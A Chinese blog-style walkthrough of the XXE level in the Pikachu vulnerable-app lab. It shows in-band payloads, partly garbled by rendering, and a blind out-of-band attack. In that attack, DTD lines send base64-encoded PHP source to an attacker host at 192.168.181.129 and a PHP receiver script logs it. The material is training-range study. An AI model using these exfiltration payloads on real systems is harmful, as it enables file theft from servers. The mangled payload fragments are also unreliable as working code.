Pikachu-xxe (xml外部实体注入漏洞)过关笔记

Pikachu-xxe过关笔记

    • 有回显
      • 探测是否有回显
      • file:///协议查看本地系统文件
      • php://协议查看php源代码(无法查看当前网页代码,只能看别的)
      • http://协议爆破开放端口(两者的加载时间不同)
    • 无回显
      • 第一步
      • 第二步
      • 第三步
    • 运行结果

这一关包含了xxe漏洞,可以练习使用不同注入方法过关
Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第1张图片

有回显

环境配置: win10物理机搭建phpstudy

探测是否有回显

 
DOCTYPE foo [    
<!ENTITY xxe "chuan" > ]> 
<foo>&xxe;foo>

Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第2张图片

file:///协议查看本地系统文件

 
DOCTYPE foo [    
 ]> 
<foo>&xxe;foo>

php://协议查看php源代码(无法查看当前网页代码,只能看别的)

 
DOCTYPE foo [    
 ]> 
<foo>&xxe;foo>

http://协议爆破开放端口(两者的加载时间不同)

 
DOCTYPE foo [    
 ]> 
<foo>&xxe;foo>



 
DOCTYPE foo [    
 ]> 
<foo>&xxe;foo>

无回显

环境配置: 攻击机为虚拟机kali,ip为192.168.181.129; 靶机为win10物理机,ip为192.168.181.1
物理机上搭建phpstudy,使用kali通过网页访问物理机搭建的网站(如下图),最终目标是获取物理机网站下的文件。

讲讲思路先吧。
虽然它有回显,但我们假装无回显好吧(懒得改代码了),所以就不能像上述操作一样直接从页面中看到返回的结果。
因此我们要转变下思路,既然无法直接看见结果,那我们就让目标网站主动将结果发给我们,然后我们就可以接收网站的传参,最后获取结果。
思路有了,那么该如何实现呢?
第一步先在输入框里传入xml代码,使得网站主动访问我们的payload;
第二步在payload里写入获取目标信息,以及发送信息的代码
第三步就是在我们自己的网站上新建一个接收信息的文件,等待目标网站主动给我们发信息就o了
思路讲完了,接下来是代码时间~

Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第3张图片

第一步

在输入框里传入xml代码,使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件(两种写法,结果一样一样的)


DOCTYPE foo [

%dtd;
%print;
%send;
]>


DOCTYPE test [
		
		
	    %dtd;
		%payload;
		%send;
]>

第二步

将写有payload的dtd文件写入kali网站目录,能访问到就行
以下是两种dtd文件写法,分别对应以上两种不同的xml提交代码(也是写法上有一丢丢不同,原理一样)
都是将查找到的php源码信息进行base64编码后作为参数传入data中

以下是我找的相关资料

在 HTML中,某些字符是预留的,例如小于号「<」、大于号「>」等,浏览器会将它们视作标签。如果想要在HTML中显示这些预留字符,我们就要用到字符实体(character
entities)。我们比较熟悉的字符实体有空格「 」,小于号「<」,大于号「>」等。这样的格式比较语义化,容易记忆,但其实字符实体有其他的格式:
/ ~ ~ ~

numeric character reference,数字取值为目标字符的 Unicode code point;以「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。
/ ~ ~ ~
% % 都为 %

test.dtd



% send SYSTEM 'http://192.168.181.129/recive.php?data=%file;'>">

test1.dtd


% send SYSTEM
'http://192.168.181.129/recive.php?data=%file;'>

第三步

下面是用于接受发送数据的recive.php,也是写入kali机的网站。因为dtd文件使用get方法传参,所以只需要接受GET参数并保存到get_data.txt里面就好了。


// 检查请求方法是否为POST
if ($_SERVER["REQUEST_METHOD"] == "GET") {
    // 获取POST请求的数据
    $postData = $_GET['data']; // 'data'是GET请求中的字段名,可以根据需要修改

    // 如果数据非空,将其保存到文件
    if (!empty($postData)) {
        $fileName = "get_data.txt"; // 文件名,可以根据需要修改
        $file = fopen($fileName, "a"); // 打开文件,以追加模式写入
        if ($file) {
            fwrite($file, $postData . "\n"); // 写入数据
            fclose($file); // 关闭文件
            echo "数据保存成功!";
        } else {
            echo "无法打开文件进行写入。";
        }
    } else {
        echo "未收到有效数据。";
    }
} else {
    echo "只接受GET请求。";
}



运行结果

代码到这就结束了,下面是运行截图

就是不知道为啥这里一直显示失败,但我的确又是得到最终结果了=_=,不管了

Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第4张图片

kali网站路径下成功得到了一个get_data.txt文件,里面是index.php源码的base64编码,直接解码一下就好了
Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第5张图片

以下是我用wireshark抓包抓来的,可以看见物理机和kali之间互相请求了两个来回才完成这次攻击,下面我简要记录一下请求的内容
在这里插入图片描述

第一次请求没啥好看的,就是把kali把装有xml代码的数据包发给物理机
Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第6张图片
第二次请求,物理机解析了xml代码后主动访问kali网站上的test.dtd文件
Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第7张图片

第三次请求,kali向物理机传入payload
Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第8张图片

第四次请求,物理机解析dtd文件后将结果放入data参数中传给kali
Pikachu-xxe (xml外部实体注入漏洞)过关笔记_第9张图片
很清晰的过程
o了 : )

你可能感兴趣的:(靶场,xml,python,网络安全,服务器)